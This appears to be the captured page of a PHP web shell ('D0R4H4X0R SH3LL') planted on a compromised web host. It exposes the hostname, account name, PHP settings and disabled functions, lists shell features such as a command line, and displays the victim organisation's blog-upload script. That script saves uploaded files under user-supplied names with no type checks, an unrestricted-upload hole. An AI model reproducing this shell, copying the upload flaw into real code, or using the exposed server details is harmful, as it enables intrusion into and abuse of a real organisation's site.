D0R4H4X0R SH3LL
Server Information
Server: |
LiteSpeed |
System: |
Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64 |
User: |
equalcompa ( 1022 ) |
PHP Version: |
8.2.28 |
Python Version: |
Python is not available |
Disabled Functions: | Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/save_blog.php
<?php
include('ant.php');
$response = ['success' => false, 'message' => ''];
// Check if the request is a POST request
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
// Handle the Cover Image upload
$coverImagePath = '';
if (isset($_FILES['coverImage']) && $_FILES['coverImage']['error'] === UPLOAD_ERR_OK) {
$coverImagePath = 'uploads/' . basename($_FILES['coverImage']['name']);
move_uploaded_file($_FILES['coverImage']['tmp_name'], $coverImagePath);
}
// Handle Gallery Images upload
$galleryImagePaths = [];
if (isset($_FILES['galleryImages'])) {
foreach ($_FILES['galleryImages']['name'] as $index => $name) {
if ($_FILES['galleryImages']['error'][$index] === UPLOAD_ERR_OK) {
$filePath = 'uploads/' . basename($name);
move_uploaded_file($_FILES['galleryImages']['tmp_name'][$index], $filePath);
$galleryImagePaths[] = $filePath;
}
}
}
// Get the other form data
$title = $_POST['title'];
$brief = $_POST['brief'];
// Get all paragraphs and store them as JSON
$paragraphs = isset($_POST['paragraphs']) ? json_encode($_POST['paragraphs']) : json_encode([]);
// Insert data into the database
$sql = "INSERT INTO blogs (cover_image, title, brief, paragraphs, gallery_images, post_date) VALUES (:cover_image, :title, :brief, :paragraphs, :gallery_images, NOW())";
$stmt = $conn->prepare($sql);
$stmt->execute([
':cover_image' => $coverImagePath,
':title' => $title,
':brief' => $brief,
':paragraphs' => $paragraphs,
':gallery_images' => json_encode($galleryImagePaths)
]);
$response['success'] = true;
$response['message'] = 'Blog saved successfully!';
} catch (Exception $e) {
$response['message'] = 'Error: ' . $e->getMessage();
}
}
// Send JSON response
header('Content-Type: application/json');
echo json_encode($response);
?>
D0R4H4X0R SH3LL